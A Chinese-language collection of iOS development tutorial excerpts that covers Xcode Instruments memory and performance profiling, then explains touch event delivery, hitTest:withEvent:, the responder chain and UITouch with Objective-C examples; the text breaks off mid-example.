使用起来也是得心顺畅,舒服。
其他
类型完备,使用时智能提示,方便快捷。
Instruments 一个很灵活的、强大的工具,是性能分析、动态跟踪 和分析OS X以及iOS代码的测试工具,用它可以极为方便收集关于一个或多个系统进程的性能和行为的数据,并能及时随着时间跟踪而产生的数据,并检查所收集的数据,还可以广泛收集不同类型的数据.也可以追踪程序运行的过程,这样instrument就可以帮助我们了解用户的应用程序和操作系统的行为。
总结一下instrument能做的事情:
1. Instruments是用于动态调追踪和分析OS X和iOS的代码的性能分析和测试工具;instrument还可以:
2.Instruments支持多线程的调试;
3.可以用Instruments去录制和回放,图形用户界面的操作过程
4.可将录制的图形界面操作和Instruments保存为模板,供以后访问使用。
1.追踪代码中的(甚至是那些难以复制的)问题;
2.分析程序的性能;
3.实现程序的自动化测试;
4.部分实现程序的压力测试;
5.执行系统级别的通用问题追踪调试;
6.使你对程序的内部运行过程更加了解。
打开方式:Xcode -> Open Developer Tool -> Instruments
其中比较常用的有四种:
1.Allocations:用来检查内存分配,跟踪过程的匿名虚拟内存和堆的对象提供类名和可选保留/释放历史
2.Leaks:一般的查看内存使用情况,检查泄漏的内存,并提供了所有活动的分配和泄漏模块的类对象分配统计信息以及内存地址历史记录
3.Time Profiler:分析代码的执行时间,执行对系统的CPU上运行的进程低负载时间为基础采样
4.Zombies:检查是否访问了僵尸对象
其他的:
Blank:创建一个空的模板,可以从Library库中添加其他模板
Activity Monitor:显示器处理的CPU、内存和网络使用情况统计
Automation:用JavaScript语言编写,主要用于分析应用的性能和用户行为,模仿/击发被请求的事件,利用它可以完成对被测应用的简单的UI测试及相关功能测试
Cocoa Layout:观察约束变化,找出布局代码的问题所在。
Core Animation:用来检测Core Animation性能的,给我们提供了周期性的FPS,并且考虑到了发生在程序之外的动画,界面滑动FPS可以进行测试
Core Data:监测读取、缓存未命中、保存等操作,能直观显示是否保存次数远超实际需要
Energy Diagnostic :用于Xcode下的Instruments来分析手机电量消耗的。(必须是真机才有电量)
GPU Driver :可以测量GPU的利用率,同样也是一个很好的来判断和GPU相关动画性能的指示器。它同样也提供了类似Core Animtaion那样显示FPS的工具。
Network:分析应用程序如何使用TCP / IP和UDP / IP连接使用连接仪器。就是检查手机网速的。(这个最好是真机)
Leaked memory:泄漏的内存,如为对象A申请了内存空间,之后再也没用到A,也没有释放A导致内存泄漏(野指针。。。)
Abandoned memory:被遗弃的内存,如循环引用,递归不断申请内存而导致的内存泄漏
Cached memory:缓存的内存
其中内存泄漏我们可以用Leaks
,野指针可以用Zombies
(僵尸对象),而在这里我们就可以用Allocations
来检测Abandoned memory
的内存。
即我们采用Generational Analysis的方法来分析,反复进入退出某一场景,查看内存的分配与释放情况,以定位哪些对象是属于Abandoned Memory的范畴。
在Allocations工具中,有专门的Generational Analysis设置,如下:
我们可以在程序运行时,在进入某个模块前标记一个Generation,这样会生成一个快照。然后进入、退出,再标记一个Generation,如下图:
在详情面板中我们可以看到两个Generation间内存的增长情况,其中就可能存在潜在的被遗弃的对象,如下图:
其中growth就是我们增长的内存,GenerationA是程序启动到进入该场景增长的内存,GenerationB就是第二次进入该场景所增长的内存,查看子类可以发现有两个管理类造成了Abandoned memory
。
使用instrument测试内存泄露 工具 Allocations 测试是否内存泄露 使用标记,可以更省事省力的测试页面是否有内存泄露
1)设置Generations
2)选择mark generation
3)使用方法 在进入测试页面之前,mark一下----->进入页面----->退出----->mark------>进入------->退出------->mark------>进入如此往复5、6次,就可以看到如下结果
这种情况下是内存有泄露,看到每次的增量都是好几百K或者上M的,都是属于内存有泄露的,这时候就需要检测下代码一般情况
100K以下都属于正常范围,growth表示距离你上次mark的增量
内存溢出 out of memory,是指程序在申请内存时,没有足够的内存空间供其使用,出现out of memory;比如申请了一个integer,但给它存了long才能存下的数,那就是内存溢出
内存泄露 memory leak,是指程序在申请内存后,无法释放已申请的内存空间,一次内存泄露危害可以忽略,但内存泄露堆积后果很严重,无论多少内存,迟早会被占光。
memory leak会最终会导致out of memory!
在前面的ALLcations里面我们提到过内存泄漏就是应该释放而没有释放的内存。而内存泄漏分为两种:Leaked Memory 和 Abandoned Memory。前面我们讲到了如何找到Abandoned Memory被遗忘的内存,现在我们研究的就是Leaked Memory。
以发生的方式来分类,内存泄漏可以分为4类:
常发性内存泄漏。发生内存泄漏的代码会被多次执行到,每次被执行的时候都会导致一块内存泄漏。
偶发性内存泄漏。发生内存泄漏的代码只有在某些特定环境或操作过程下才会发生。常发性和偶发性是相对的。对于特定的环境,偶发性的也许就变成了常发性的。所以测试环境和测试方法对检测内存泄漏至关重要。
一次性内存泄漏。发生内存泄漏的代码只会被执行一次,或者由于算法上的缺陷,导致总会有一块仅且一块内存发生泄漏。比如,在类的构造函数中分配内存,在析构函数中却没有释放该内存,所以内存泄漏只会发生一次。
隐式内存泄漏。程序在运行过程中不停的分配内存,但是直到结束的时候才释放内存。严格的说这里并没有发生内存泄漏,因为最终程序释放了所有申请的内存。但是对于一个服务器程序,需要运行几天,几周甚至几个月,不及时释放内存也可能导致最终耗尽系统的所有内存。所以,我们称这类内存泄漏为隐式内存泄漏。
影响:从用户使用程序的角度来看,内存泄漏本身不会产生什么危害,作为一般的用户,根本感觉不到内存泄漏的存在。真正有危害的是内存泄漏的堆积,这会最终消耗尽系统所有的内存。从这个角度来说,一次性内存泄漏并没有什么危害,因为它不会堆积,而隐式内存泄漏危害性则非常大,因为较之于常发性和偶发性内存泄漏它更难被检测到。
下边我们介绍Instruments里面的Leaked的用法,首先打开Leaked,跑起工程来,点击要测试的页面,如果有内存泄漏,会出现下图中的红色的❌。然后按照后边的步骤进行修复即可
上面的旧版的样式,下面的是新版的样式,基本操作差不多
在详情面板选中显示的若干条中的一条,双击,会自动跳到内存泄露代码处,然后点击右上角 Xcode 图标进行修改。
下图是对Leaked页面进一步的理解:
内存泄漏动态分析技巧:
1.在 Display Settings 界面建议把 Snapshot Interval (snapʃɒt, 数据快照)间隔时间设置为10秒,勾选Automatic Snapshotting,Leaks 会自动进行内存捕捉分析。(新版本直接在底部修改)
2.熟练使用 Leaks 后会对内存泄漏判断更准确,在可能导致泄漏的操作里,在你怀疑有内存泄漏的操作前和操作后,可以点击 Snapshot Now 进行手动捕捉。
3.开始时如果设备性能较好,可以把自动捕捉间隔设置为 5 秒钟。
4.使用ARC的项目,一般内存泄漏都是 malloc、自定义结构、资源引起的,多注意这些地方进行分析。
5.开启ARC后,内存泄漏的原因,开启了ARC并不是就不会存在内存问题,苹果有句名言:ARC is only for NSObject。
注:如果你的项目使用了ARC,随着你的操作,不断开启或关闭视图,内存可能持续上升,但这不一定表示存在内存泄漏,ARC释放的时机是不固定的
这里对 Display Settings中 的 Call tree
选项做一下说明 [官方user guide翻译]:
Separate By Thread:线程分离,只有这样才能在调用路径中能够清晰看到占用CPU最大的线程.每个线程应该分开考虑。只有这样你才能揪出那些大量占用CPU的"重"线程,按线程分开做分析,这样更容易揪出那些吃资源的问题线程。特别是对于主线程,它要处理和渲染所有的接口数据,一旦受到阻塞,程序必然卡顿或停止响应。
Invert Call Tree:从上到下跟踪堆栈信息.这个选项可以快捷的看到方法调用路径最深方法占用CPU耗时(这意味着你看到的表中的方法,将已从第0帧开始取样,这通常你是想要的,只有这样你才能看到CPU中花费时间最深的方法),比如FuncA{FunB{FunC}},勾选后堆栈以C->B->A把调用层级最深的C显示最外面.反向输出调用树。把调用层级最深的方法显示在最上面,更容易找到最耗时的操作。
Hide Missing Symbols:如果dSYM无法找到你的APP或者调用系统框架的话,那么表中将看到调用方法名只能看到16进制的数值,勾选这个选项则可以隐藏这些符号,便于简化分析数据.
Hide System Libraries:表示隐藏系统的函数,调用这个就更有用了,勾选后耗时调用路径只会显示app耗时的代码,性能分析普遍我们都比较关系自己代码的耗时而不是系统的.基本是必选项.注意有些代码耗时也会纳入系统层级,可以进行勾选前后前后对执行路径进行比对会非常有用.因为通常你只关心cpu花在自己代码上的时间不是系统上的,隐藏系统库文件。过滤掉各种系统调用,只显示自己的代码调用。隐藏缺失符号。如果 dSYM 文件或其他系统架构缺失,列表中会出现很多奇怪的十六进制的数值,用此选项把这些干扰元素屏蔽掉,让列表回归清爽。
Show Obj-C Only:只显示oc代码 ,如果你的程序是像OpenGl这样的程序,不要勾选侧向因为他有可能是C++的
Flatten Recursion:递归函数, 每个堆栈跟踪一个条目,拼合递归。将同一递归函数产生的多条堆栈(因为递归函数会调用自己)合并为一条。
Top Functions:找到最耗时的函数或方法。 一个函数花费的时间直接在该函数中的总和,以及在函数调用该函数所花费的时间的总时间。因此,如果函数A调用B,那么A的时间报告在A花费的时间加上B.花费的时间,这非常真有用,因为它可以让你每次下到调用堆栈时挑最大的时间数字,归零在你最耗时的方法。
用来检测app中每个方法所用的时间,并且可以排序,并查找出哪些函数占用了大量时间。
使用Time Profile前有两点需要注意的地方:
1、一定要使用真机调试
在开始进行应用程序性能分析的时候,一定要使用真机。因为模拟器运行在Mac上,然而Mac上的CPU往往比iOS设备要快。相反,Mac上的GPU和iOS设备的完全不一样,模拟器不得已要在软件层面(CPU)模拟设备的GPU,这意味着GPU相关的操作在模拟器上运行的更慢,尤其是使用CAEAGLLayer来写一些OpenGL的代码时候,这就导致模拟器性能数据和用户真机使用性能数据相去甚远
2、应用程序一定要使用发布配置
在发布环境打包的时候,编译器会引入一系列提高性能的优化,例如去掉调试符号或者移除并重新组织代码。另iOS引入一种"Watch Dog"[看门狗]机制,不同的场景下,“看门狗”会监测应用的性能,如果超出了该场景所规定的运行时间,“看门狗”就会强制终结这个应用的进程。开发者可以crashlog看到对应的日志,但Xcode在调试配置下会禁用"Watch Dog"
我们将僵尸对象“复活”的目的:僵尸对象就是让已经释放了的对象重新复活,便于调试;是为了让已经释放了的对象在被再次访问时能够输出一些错误信息。其实这里的“复活”并不是真的复活,而是强行不死:这么说吧 相当于 他的RC=0的时候 系统再强行让他RC=1,顺便打上一个标记 zoom,等到你去掉那个沟以后 系统会把带有标记zoom的对象RC=0。
C语言: 当我们声明1个指针变量,没有为这个指针变量赋初始值.这个指针变量的值是1个垃圾指 指向1块随机的内存空间。
OC语言: 指针指向的对象已经被回收掉了.这个指针就叫做野指针.
僵尸对象: 1个已经被释放的对象 就叫做僵尸对象.
使用野指针访问僵尸对象.有的时候会出问题,有的时候不会出问题.
当野指针指向的僵尸对象所占用的空间还没有分配给别人的时候, - 这个时候其实是可以访问的.
因为对象的数据还在.
当野指针指向的对象所占用的空间分配给了别人的时候 这个时候访问就会出问题.
所以,你不要通过1个野指针去访问1个僵尸对象.
虽然可以通过野指针去访问已经被释放的对象,但是我们不允许这么做.
僵尸对象检测.
默认情况下. Xcode不会去检测指针指向的对象是否为1个僵尸对象. 能访问就访问 不能访问就报错.
可以开启Xcode的僵尸对象检测.
那么就会在通过指针访问对象的时候,检测这个对象是否为1个僵尸对象 如果是僵尸对象 就会报错.
为什么不默认开启僵尸对象检测呢?
因为一旦开启,每次通过指针访问对象的时候.都会去检查指针指向的对象是否为僵尸对象.
那么这样的话 就影响效率了.
如何避免僵尸对象报错.
当1个指针变为野指针以后. 就把这个指针的值设置为nil
僵尸对象无法复活.
当1个对象的引用计数器变为0以后 这个对象就被释放了.
就无法取操作这个僵尸对象了. 所有对这个对象的操作都是无效的.
因为一旦对象被回收 对象就是1个僵尸对象 而访问1个僵尸对象 是没有意义.
摘自:https://blog.csdn.net/weixin_41963895/article/details/107231347
收起阅读 »如果想让某个view不能处理事件(或者说,事件传递到某个view那里就断了),那么可以通过刚才提到的三种方式。比如,设置其userInteractionEnabled = NO;那么传递下来的事件就会由该view的父控件处理。
例如,不想让蓝色的view接收事件,那么可以设置蓝色的view的userInteractionEnabled = NO;那么点击黄色的view或者蓝色的view所产生的事件,最终会由橙色的view处理,橙色的view就会成为最合适的view。
所以,不管视图能不能处理事件,只要点击了视图就都会产生事件,关键在于该事件最终是由谁来处理!也就是说,如果蓝色视图不能处理事件,点击蓝色视图产生的触摸事件不会由被点击的视图(蓝色视图)处理!
注意:如果设置父控件的透明度或者hidden,会直接影响到子控件的透明度和hidden。如果父控件的透明度为0或者hidden = YES,那么子控件也是不可见的!
应用如何找到最合适的控件来处理事件?
1.首先判断主窗口(keyWindow)自己是否能接受触摸事件
2.触摸点是否在自己身上
3.从后往前遍历子控件,重复前面的两个步骤(首先查找数组中最后一个元素)
4.如果没有符合条件的子控件,那么就认为自己最合适处理
详述:
1.主窗口接收到应用程序传递过来的事件后,首先判断自己能否接手触摸事件。如果能,那么在判断触摸点在不在窗口自己身上
2.如果触摸点也在窗口身上,那么窗口会从后往前遍历自己的子控件(遍历自己的子控件只是为了寻找出来最合适的view)
3.遍历到每一个子控件后,又会重复上面的两个步骤(传递事件给子控件,1.判断子控件能否接受事件,2.点在不在子控件上)
4.如此循环遍历子控件,直到找到最合适的view,如果没有更合适的子控件,那么自己就成为最合适的view。
找到最合适的view后,就会调用该view的touches方法处理具体的事件。所以,只有找到最合适的view,把事件传递给最合适的view后,才会调用touches方法进行接下来的事件处理。找不到最合适的view,就不会调用touches方法进行事件处理。
注意:之所以会采取从后往前遍历子控件的方式寻找最合适的view只是为了做一些循环优化。因为相比较之下,后添加的view在上面,降低循环次数。
两个重要的方法:
hitTest:withEvent:方法
pointInside方法
3.3.1.1.hitTest:withEvent:方法
什么时候调用?
只要事件一传递给一个控件,这个控件就会调用他自己的hitTest:withEvent:方法
作用
寻找并返回最合适的view(能够响应事件的那个最合适的view)
注 意
:不管这个控件能不能处理事件,也不管触摸点在不在这个控件上,事件都会先传递给这个控件,随后再调用hitTest:withEvent:方法
1.正因为hitTest:withEvent:方法可以返回最合适的view,所以可以通过重写hitTest:withEvent:方法,返回指定的view作为最合适的view。
2.不管点击哪里,最合适的view都是hitTest:withEvent:方法中返回的那个view。
3.通过重写hitTest:withEvent:,就可以拦截事件的传递过程,想让谁处理事件谁就处理事件。
事件传递给谁,就会调用谁的hitTest:withEvent:方法。注 意
:如果hitTest:withEvent:方法中返回nil,那么调用该方法的控件本身和其子控件都不是最合适的view,也就是在自己身上没有找到更合适的view。那么最合适的view就是该控件的父控件。
所以事件的传递顺序是这样的:
产生触摸事件->UIApplication事件队列->[UIWindow hitTest:withEvent:]->返回更合适的view->[子控件 hitTest:withEvent:]->返回最合适的view
事件传递给窗口或控件的后,就调用hitTest:withEvent:方法寻找更合适的view。所以是,先传递事件,再根据事件在自己身上找更合适的view。
不管子控件是不是最合适的view,系统默认都要先把事件传递给子控件,经过子控件调用子控件自己的hitTest:withEvent:方法验证后才知道有没有更合适的view。即便父控件是最合适的view了,子控件的hitTest:withEvent:方法还是会调用,不然怎么知道有没有更合适的!即,如果确定最终父控件是最合适的view,那么该父控件的子控件的hitTest:withEvent:方法也是会被调用的。
技巧:想让谁成为最合适的view就重写谁自己的父控件的hitTest:withEvent:方法返回指定的子控件,或者重写自己的hitTest:withEvent:方法 return self。但是,建议在父控件的hitTest:withEvent:中返回子控件作为最合适的view!
原因在于在自己的hitTest:withEvent:方法中返回自己有时候会出现问题。因为会存在这么一种情况:当遍历子控件时,如果触摸点不在子控件A自己身上而是在子控件B身上,还要要求返回子控件A作为最合适的view,采用返回自己的方法可能会导致还没有来得及遍历A自己,就有可能已经遍历了点真正所在的view,也就是B。这就导致了返回的不是自己而是触摸点真正所在的view。所以还是建议在父控件的hitTest:withEvent:中返回子控件作为最合适的view!
例如:whiteView有redView和greenView两个子控件。redView先添加,greenView后添加。如果要求无论点击那里都要让redView作为最合适的view(把事件交给redView来处理)那么只能在whiteView的hitTest:withEvent:方法中return self.subViews[0];这种情况下在redView的hitTest:withEvent:方法中return self;是不好使的!
// 这里redView是whiteView的第0个子控件
#import "redView.h"
@implementation redView
- (UIView *)hitTest:(CGPoint)point withEvent:(UIEvent *)event{
return self;
}
- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event{
NSLog(@"red-touch");
}@end
// 或者
#import "whiteView.h"
@implementation whiteView
- (UIView *)hitTest:(CGPoint)point withEvent:(UIEvent *)event{
return self.subviews[0];
}
- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event{
NSLog(@"white-touch");
}
@end
特殊情况:
谁都不能处理事件,窗口也不能处理。
重写window的hitTest:withEvent:方法return nil
只能有窗口处理事件。
控制器的view的hitTest:withEvent:方法return nil或者window的hitTest:withEvent:方法return self
return nil的含义:
hitTest:withEvent:中return nil的意思是调用当前hitTest:withEvent:方法的view不是合适的view,子控件也不是合适的view。如果同级的兄弟控件也没有合适的view,那么最合适的view就是父控件。
寻找最合适的view底层剖析之hitTest:withEvent:方法底层做法
#import "WYWindow.h"
@implementation WYWindow
// 什么时候调用:只要事件一传递给一个控件,那么这个控件就会调用自己的这个方法
// 作用:寻找并返回最合适的view
// UIApplication -> [UIWindow hitTest:withEvent:]寻找最合适的view告诉系统
// point:当前手指触摸的点
// point:是方法调用者坐标系上的点
- (UIView *)hitTest:(CGPoint)point withEvent:(UIEvent *)event{
// 1.判断下窗口能否接收事件
if (self.userInteractionEnabled == NO || self.hidden == YES || self.alpha <= 0.01) return nil;
// 2.判断下点在不在窗口上
// 不在窗口上
if ([self pointInside:point withEvent:event] == NO) return nil;
// 3.从后往前遍历子控件数组
int count = (int)self.subviews.count;
for (int i = count - 1; i >= 0; i--) {
// 获取子控件
UIView *childView = self.subviews[i];
// 坐标系的转换,把窗口上的点转换为子控件上的点
// 把自己控件上的点转换成子控件上的点
CGPoint childP = [self convertPoint:point toView:childView];
UIView *fitView = [childView hitTest:childP withEvent:event];
if (fitView) {
// 如果能找到最合适的view
return fitView;
}
}
// 4.没有找到更合适的view,也就是没有比自己更合适的view
return self;
}
// 作用:判断下传入过来的点在不在方法调用者的坐标系上
// point:是方法调用者坐标系上的点
//- (BOOL)pointInside:(CGPoint)point withEvent:(UIEvent *)event
//{
// return NO;
//}
- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event{
NSLog(@"%s",__func__);
}
@end
hit:withEvent:方法底层会调用pointInside:withEvent:方法判断点在不在方法调用者的坐标系上。
3.3.1.2.pointInside:withEvent:方法
pointInside:withEvent:方法判断点在不在当前view上(方法调用者的坐标系上)如果返回YES,代表点在方法调用者的坐标系上;返回NO代表点不在方法调用者的坐标系上,那么方法调用者也就不能处理事件。
3.3.2.练习
屏幕上现在有一个viewA,viewA有一个subView叫做viewB,要求触摸viewB时,viewB会响应事件,而触摸viewA本身,不会响应该事件。如何实现?
- (UIView *)hitTest:(CGPoint)point withEvent:(UIEvent *)event{
UIView *view = [super hitTest:point withEvent:event];
if (view == self) {
return nil;
}
return view;
}
1>用户点击屏幕后产生的一个触摸事件,经过一系列的传递过程后,会找到最合适的视图控件来处理这个事件
2>找到最合适的视图控件后,就会调用控件的touches方法来作具体的事件处理touchesBegan…touchesMoved…touchedEnded…3>这些touches方法的默认做法是将事件顺着响应者链条向上传递(也就是touch方法默认不处理事件,只传递事件),将事件交给上一个响应者进行处理
响应者链条:
在iOS程序中无论是最后面的UIWindow还是最前面的某个按钮,它们的摆放是有前后关系的,一个控件可以放到另一个控件上面或下面,那么用户点击某个控件时是触发上面的控件还是下面的控件呢,这种先后关系构成一个链条就叫“响应者链”。也可以说,响应者链是由多个响应者对象连接起来的链条。在iOS中响应者链的关系可以用下图表示
响应者对象:能处理事件的对象,也就是继承自UIResponder的对象
作用:能很清楚的看见每个响应者之间的联系,并且可以让一个事件多个对象处理。
如何判断上一个响应者
1> 如果当前这个view是控制器的view,那么控制器就是上一个响应者
2> 如果当前这个view不是控制器的view,那么父控件就是上一个响应者
响应者链的事件传递过程:
1>如果当前view是控制器的view,那么控制器就是上一个响应者,事件就传递给控制器;如果当前view不是控制器的view,那么父视图就是当前view的上一个响应者,事件就传递给它的父视图
2>在视图层次结构的最顶级视图,如果也不能处理收到的事件或消息,则其将事件或消息传递给window对象进行处理
3>如果window对象也不处理,则其将事件或消息传递给UIApplication对象
4>如果UIApplication也不能处理该事件或消息,则将其丢弃
事件处理的整个流程总结:
1.触摸屏幕产生触摸事件后,触摸事件会被添加到由UIApplication管理的事件队列中(即,首先接收到事件的是UIApplication)。
2.UIApplication会从事件队列中取出最前面的事件,把事件传递给应用程序的主窗口(keyWindow)。
3.主窗口会在视图层次结构中找到一个最合适的视图来处理触摸事件。(至此,第一步已完成)
4.最合适的view会调用自己的touches方法处理事件
5.touches默认做法是把事件顺着响应者链条向上抛。
touches的默认做法:#import "WYView.h"
@implementation WYView
//只要点击控件,就会调用touchBegin,如果没有重写这个方法,自己处理不了触摸事件
// 上一个响应者可能是父控件
- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event{
// 默认会把事件传递给上一个响应者,上一个响应者是父控件,交给父控件处理
[super touchesBegan:touches withEvent:event];
// 注意不是调用父控件的touches方法,而是调用父类的touches方法
// super是父类 superview是父控件
}
@end
事件的传递与响应:
1、当一个事件发生后,事件会从父控件传给子控件,也就是说由UIApplication -> UIWindow -> UIView -> initial view,以上就是事件的传递,也就是寻找最合适的view的过程。
2、接下来是事件的响应。首先看initial view能否处理这个事件,如果不能则会将事件传递给其上级视图(inital view的superView);如果上级视图仍然无法处理则会继续往上传递;一直传递到视图控制器view controller,首先判断视图控制器的根视图view是否能处理此事件;如果不能则接着判断该视图控制器能否处理此事件,如果还是不能则继续向上传 递;(对于第二个图视图控制器本身还在另一个视图控制器中,则继续交给父视图控制器的根视图,如果根视图不能处理则交给父视图控制器处理);一直到 window,如果window还是不能处理此事件则继续交给application处理,如果最后application还是不能处理此事件则将其丢弃
3、在事件的响应中,如果某个控件实现了touches...方法,则这个事件将由该控件来接受,如果调用了[super touches….];就会将事件顺着响应者链条往上传递,传递给上一个响应者;接着就会调用上一个响应者的touches….方法
如何做到一个事件多个对象处理:
因为系统默认做法是把事件上抛给父控件,所以可以通过重写自己的touches方法和父控件的touches方法来达到一个事件多个对象处理的目的。
- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event{
// 1.自己先处理事件...
NSLog(@"do somthing...");
// 2.再调用系统的默认做法,再把事件交给上一个响应者处理
[super touchesBegan:touches withEvent:event];
}
事件处理的整个流程总结:
1.触摸屏幕产生触摸事件后,触摸事件会被添加到由UIApplication管理的事件队列中(即,首先接收到事件的是UIApplication)。
2.UIApplication会从事件队列中取出最前面的事件,把事件传递给应用程序的主窗口(keyWindow)。
按照时间顺序,事件的生命周期:
事件的产生和传递(事件如何从父控件传递到子控件并寻找到最合适的view、寻找最合适的view的底层实现、拦截事件的处理)->找到最合适的view后事件的处理(touches方法的重写,也就是事件的响应)
重点和难点是:
1.如何寻找最合适的view
2.寻找最合适的view的底层实现(hitTest:withEvent:底层实现)
iOS中的事件可以分为3大类型:
1.触摸事件
2.加速计事件
3.远程控制事件
这里我们只讨论iOS中的触摸事件。
在iOS中不是任何对象都能处理事件,只有继承了UIResponder的对象才能接受并处理事件,我们称之为“响应者对象”。以下都是继承自UIResponder的,所以都能接收并处理事件。
UIApplication
UIWindows
UIViewController
UIView
因为UIResponder中提供了以下4个对象方法来处理触摸事件。UIResponder内部提供了以下方法来处理事件触摸事件
- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event;
- (void)touchesMoved:(NSSet *)touches withEvent:(UIEvent *)event;
- (void)touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event;
- (void)touchesCancelled:(NSSet *)touches withEvent:(UIEvent *)event;
加速计事件
- (void)motionBegan:(UIEventSubtype)motion withEvent:(UIEvent *)event;
- (void)motionEnded:(UIEventSubtype)motion withEvent:(UIEvent *)event;
- (void)motionCancelled:(UIEventSubtype)motion withEvent:(UIEvent *)event;
远程控制事件
- (void)remoteControlReceivedWithEvent:(UIEvent *)event;
// UIView是UIResponder的子类,可以覆盖下列4个方法处理不同的触摸事件
// 一根或者多根手指开始触摸view,系统会自动调用view的下面方法
- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event
// 一根或者多根手指在view上移动,系统会自动调用view的下面方法(随着手指的移动,会持续调用该方法)
- (void)touchesMoved:(NSSet *)touches withEvent:(UIEvent *)event
// 一根或者多根手指离开view,系统会自动调用view的下面方法
- (void)touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event
// 触摸结束前,某个系统事件(例如电话呼入)会打断触摸过程,系统会自动调用view的下面方法
- (void)touchesCancelled:(NSSet *)touches withEvent:(UIEvent *)event
// 提示:touches中存放的都是UITouch对象
需要注意的是:以上四个方法是由系统自动调用的,所以可以通过重写该方法来处理一些事件。
1.如果两根手指同时触摸一个view,那么view只会调用一次touchesBegan:withEvent:方法,touches参数中装着2个UITouch对象
2.如果这两根手指一前一后分开触摸同一个view,那么view会分别调用2次touchesBegan:withEvent:方法,并且每次调用时的touches参数中只包含一个UITouch对象
3.重写以上四个方法,如果是处理UIView的触摸事件。必须要自定义UIView子类继承自UIView。因为苹果不开源,没有把UIView的.m文件提 供给我们。我们只能通过子类继承父类,重写子类方法的方式处理UIView的触摸事件(注意:我说的是UIView触摸事件而不是说的 UIViewController的触摸事件)。
4.如果是处理UIViewController的触摸事件,那么在控制器的.m文件中直接重写那四个方法即可!
/************************自定义UIView的.h.m文件************************/
#import
@interface WYView : UIView
@end
#import "WYView.h"
@implementation WYView
// 开始触摸时就会调用一次这个方法
- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event{
NSLog(@"摸我干啥!");
}
// 手指移动就会调用这个方法
// 这个方法调用非常频繁
- (void)touchesMoved:(NSSet *)touches withEvent:(UIEvent *)event{
NSLog(@"移动过程中持续调用!");
}
// 手指离开屏幕时就会调用一次这个方法
- (void)touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event{
NSLog(@"手放开还能继续玩耍!");
}
@end
/**************************控制器的.m文件*************************/
#import "ViewController.h"
#import "WYView.h"
@interface ViewController ()
@end@implementation ViewController
- (void)viewDidLoad {
[super viewDidLoad];
// 创建自定义view
WYView *touchView = [[WYView alloc] initWithFrame:CGRectMake(100, 100, 100, 100)];
// 背景颜色
touchView.backgroundColor = [UIColor redColor];
// 添加到父控件
[self.view addSubview:touchView];
}
@end
注 意:有人认为,我要是处理控制器的自带的view的事件就不需要自定义UIView子类继承于UIView,因为可以在viewController.m 文件中重写touchBegan:withEvent:方法,但是,我们此处讨论的是处理UIView的触摸事件,而不是处理 UIViewController的触摸事件。你如果是在viewController.m文件中重写touchBegan:withEvent:方法,相当于处理的是viewController的触摸事件,因为viewController也是继承自UIResponder,所以会给人一种错觉。
所以,还是那句话,想处理UIView的触摸事件,必须自定义UIView子类继承自UIView。
那么,如何实现UIView的拖拽呢?也就是让UIView随着手指的移动而移动。
- 重写touchsMoved:withEvent:方法
此时需要用到参数touches,下面是UITouch的属性和方法:
NS_CLASS_AVAILABLE_IOS(2_0) @interface UITouch : NSObject
@property(nonatomic,readonly) NSTimeInterval timestamp;
@property(nonatomic,readonly) UITouchPhase phase;
@property(nonatomic,readonly) NSUInteger tapCount; // touch down within a certain point within a certain amount of time
// majorRadius and majorRadiusTolerance are in points
// The majorRadius will be accurate +/- the majorRadiusTolerance
@property(nonatomic,readonly) CGFloat majorRadius NS_AVAILABLE_IOS(8_0);
@property(nonatomic,readonly) CGFloat majorRadiusTolerance NS_AVAILABLE_IOS(8_0);
@property(nullable,nonatomic,readonly,strong) UIWindow *window;
@property(nullable,nonatomic,readonly,strong) UIView *view;
@property(nullable,nonatomic,readonly,copy) NSArray *gestureRecognizers NS_AVAILABLE_IOS(3_2);
- (CGPoint)locationInView:(nullable UIView *)view;
- (CGPoint)previousLocationInView:(nullable UIView *)view;
// Force of the touch, where 1.0 represents the force of an average touch
@property(nonatomic,readonly) CGFloat force NS_AVAILABLE_IOS(9_0);
// Maximum possible force with this input mechanism
@property(nonatomic,readonly) CGFloat maximumPossibleForce NS_AVAILABLE_IOS(9_0);
当用户用一根手指触摸屏幕时,会创建一个与手指相关的UITouch对象
一根手指对应一个UITouch对象
如果两根手指同时触摸一个view,那么view只会调用一次touchesBegan:withEvent:方法,touches参数中装着2个UITouch对象
如果这两根手指一前一后分开触摸同一个view,那么view会分别调用2次touchesBegan:withEvent:方法,并且每次调用时的touches参数中只包含一个UITouch对象
保存着跟手指相关的信息,比如触摸的位置、时间、阶段
当手指移动时,系统会更新同一个UITouch对象,使之能够一直保存该手指在的触摸位置
当手指离开屏幕时,系统会销毁相应的UITouch对象
提 示:iPhone开发中,要避免使用双击事件!
2.1.1.2.UITouch的属性
触摸产生时所处的窗口
@property(nonatomic,readonly,retain) UIWindow *window;
触摸产生时所处的视图
@property(nonatomic,readonly,retain) UIView *view
;
短时间内点按屏幕的次数,可以根据tapCount判断单击、双击或更多的点击
@property(nonatomic,readonly) NSUInteger tapCount;
记录了触摸事件产生或变化时的时间,单位是秒
@property(nonatomic,readonly) NSTimeInterval timestamp;
当前触摸事件所处的状态
@property(nonatomic,readonly) UITouchPhase phase;
2.1.1.3.UITouch的方法
(CGPoint)locationInView:(UIView *)view;
// 返回值表示触摸在view上的位置
// 这里返回的位置是针对view的坐标系的(以view的左上角为原点(0, 0))
// 调用时传入的view参数为nil的话,返回的是触摸点在UIWindow的位置
(CGPoint)previousLocationInView:(UIView *)view;
// 该方法记录了前一个触摸点的位置
- (void)touchesMoved:(NSSet *)touches withEvent:(UIEvent *)event{
// 想让控件随着手指移动而移动,监听手指移动
// 获取UITouch对象
UITouch *touch = [touches anyObject];
// 获取当前点的位置
CGPoint curP = [touch locationInView:self];
// 获取上一个点的位置
CGPoint preP = [touch previousLocationInView:self];
// 获取它们x轴的偏移量,每次都是相对上一次
CGFloat offsetX = curP.x - preP.x;
// 获取y轴的偏移量
CGFloat offsetY = curP.y - preP.y;
// 修改控件的形变或者frame,center,就可以控制控件的位置
// 形变也是相对上一次形变(平移)
